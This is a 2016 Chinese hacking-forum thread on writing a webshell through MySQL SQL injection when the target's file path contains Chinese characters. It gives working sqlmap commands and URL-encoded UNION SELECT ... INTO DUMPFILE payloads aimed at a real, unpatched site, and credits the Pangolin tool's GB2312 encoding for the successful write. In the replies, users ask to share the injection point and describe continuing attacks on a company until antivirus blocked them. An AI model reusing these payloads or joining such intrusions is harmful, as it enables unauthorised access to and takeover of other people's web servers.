九零登录

[【通过】] Mysql 中文路径写文件探索

[复制链接]
发表于 2016-8-2 15:10:45 | 显示全部楼层 |阅读模式
0x00 背景
之前在看90的审核文章时,看到了一篇关于域渗透方面的文章,其中讲到了一个mysql写shell 的问题。
许多朋友发现Pangolin(穿山甲)比sqlmap写文件好用的多。
找到该网址,发现注入漏洞仍未修复,分别尝试sqlmap、穿山甲、手动写入方式进行写入,利用wireshark抓包获取playload,进行分析。

0x01 测试
1. Sqlmap –os-shell
Sqlmap -u "http://xxxxxx.com/newsshow.php?id=230"--os-shell

出错
1.png
写入失败

2.Sqlmap –file-write –file-dest
Sqlmap -u "http://xxxxx.com/newsshow.php?id=230"--file-write "xx.txt" --file-dest "d:\\xxx\\网站程序\\inc\\xz.php"

/newsshow.php?id=-6475%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20CONCAT%280x3a7761633a%2CIFNULL%28CAST%28LENGTH%28LOAD_FILE%28CONVERT%280x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870%20USING%20utf8%29%29%29%20AS%20CHAR%29%2C0x20%29%2C0x3a6872613a%29%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23
url解码后为:
/newsshow.php?id=-6475 UNION ALL SELECTNULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,NULL, NULL, NULL, NULL, NULL, NULL,CONCAT(0x3a7761633a,IFNULL(CAST(LENGTH(LOAD_FILE(CONVERT(0x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870USING utf8))) AS CHAR),0x20),0x3a6872613a), NULL, NULL, NULL, NULL, NULL, NULL#

16进制:0x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870

解码后为:d:/高能/网站程åo/inc/xz.php (乱码)
写入失败
3.手动写入
利用firefox hackbar的url编码
1.png
/newsshow.php?id=230%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20into%20dumpfile%20%27D:\\%E9%AB%98%E8%83%BD\\%E7%BD%91%E7%AB%99%E7%A8%8B%E5%BA%8F\\inc\xx.php%27%20—
url utf-8解码后为:D:\\xxx\网站程序\\inc\xx.php

写入失败

4.穿山甲写入
1.png
/newsshow.php?id=230%20and%201=2%20union%20select%200,0,0,0,0,0,concat(char(115),char(100),char(115),char(100),char(115)),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20into%20dumpfile%20'd:%5C%5C%5C%5C%B8%DF%C4%DC%5C%5C%5C%5C%CD%F8%D5%BE%B3%CC%D0%F2%5C%5C%5C%5Cinc%5C%5C%5C%5Cxs.php'—
用firefox的hackbar解码为
之前一直没想通,这个很明显是url编码的为什么解不成功
后续在小伙伴的提示下,发现url的编码有utf-8 和gb2312两种,后来在站长工具的网站上解码成功
为:d:\\\\xxxx\\\\网站程序\\\\inc\\\\xs.php

1.png
写入成功
1.png

0x02 结论
url编码共有两种utf-8和 gb2312
sqlmap是utf-8编码,当物理路径为英文时,没有问题。
穿山甲 采用的gb2312编码方式,故在中英文都是可以得。
Firefox hackbar带的url编码是utf-8格式。


===============================

学习和研究精神值得学习,故通过。



评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-8-2 15:50:48 | 显示全部楼层
楼主最后是sqlmap还是穿山甲写进去的
可以PM一下注入点学习一下么
发表于 2016-8-2 16:14:25 | 显示全部楼层
在sqlmap.py里 更改成gb2312就好了呗
发表于 2016-8-2 17:09:02 | 显示全部楼层
sqlmap是utf-8编码,当物理路径为英文时,没有问题。
穿山甲 采用的gb2312编码方式,故在中英文都是可以得。


utf8和gbk(gb2312)默认都是对英文和数字不进行处理,当然在各语言里也可以指定属性来编码英文和数字。
而且如果客户端的提交编码和服务端不一致,是不是也会出问题?

楼上的说法也很好。sqlnmap中修改编码方法如下↓
sqlmap.py脚本第二行加上#coding:utf-8
或者sqlmap命令行后面加上--no-cast


utf8改成你要的编码。

评分

参与人数 1酒票 +1 收起 理由
管理05 + 1 积极参与讨论

查看全部评分

 楼主| 发表于 2016-8-2 18:35:04 | 显示全部楼层
芙蓉王 发表于 2016-8-2 15:50
楼主最后是sqlmap还是穿山甲写进去的
可以PM一下注入点学习一下么

最终是穿山甲写进去的
 楼主| 发表于 2016-8-2 18:36:17 | 显示全部楼层
接地气 发表于 2016-8-2 17:09
utf8和gbk(gb2312)默认都是对英文和数字不进行处理,当然在各语言里也可以指定属性来编码英文和数字。
...

好的 学习了 后面我自己测试下
发表于 2016-8-2 23:50:46 | 显示全部楼层
记得有大牛抓包分析说sqlmap在写文件的时候有bug,具体我忘记了。一般我找到root权限的就用穿山甲写,方便快捷
发表于 2016-8-3 01:11:37 | 显示全部楼层
哈哈哈,我一看就知道是我当初的那篇申请贴,当时没怎么搞懂。现在懂了,感谢楼主
 楼主| 发表于 2016-8-3 10:03:00 | 显示全部楼层
blues 发表于 2016-8-2 23:50
记得有大牛抓包分析说sqlmap在写文件的时候有bug,具体我忘记了。一般我找到root权限的就用穿山甲写,方便 ...

确实是的,只是想弄明白原因,
 楼主| 发表于 2016-8-3 10:04:03 | 显示全部楼层
Balis0ng 发表于 2016-8-3 01:11
哈哈哈,我一看就知道是我当初的那篇申请贴,当时没怎么搞懂。现在懂了,感谢楼主

学习了大牛的姿势。大牛后面还在弄没有呢
发表于 2016-8-4 10:39:11 | 显示全部楼层
fresh 发表于 2016-8-3 10:04
学习了大牛的姿势。大牛后面还在弄没有呢

后面那家公司装了瑞星,搞不动了,楼主你可以去试试
发表于 2016-8-4 17:14:13 | 显示全部楼层
一个是编码问题 还有就是sqlmap写文件的盘符也有问题
发表于 2016-8-4 18:05:31 | 显示全部楼层
针对中文路径可以转换进制来写入的,不一定非得纠结到明文写入
 楼主| 发表于 2016-8-5 09:24:49 | 显示全部楼层
Balis0ng 发表于 2016-8-4 10:39
后面那家公司装了瑞星,搞不动了,楼主你可以去试试

嗯 试了试 转发出来的时候,有点问题。能连通但是立马被拦截了
 楼主| 发表于 2016-8-5 09:25:34 | 显示全部楼层
Joseph 发表于 2016-8-4 18:05
针对中文路径可以转换进制来写入的,不一定非得纠结到明文写入

嗯 当时也尝试换成16进制,但没成功
 楼主| 发表于 2016-8-5 09:26:34 | 显示全部楼层
寒风不冷 发表于 2016-8-4 17:14
一个是编码问题 还有就是sqlmap写文件的盘符也有问题

嗯 还是linux的好写一些
发表于 2016-8-8 01:32:25 | 显示全部楼层
sqlmap 写文件的代码有问题,具体忘记了。。。抓个包看下就晓得了。。。

九零

GMT+8, 2026-10-22 14:57

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表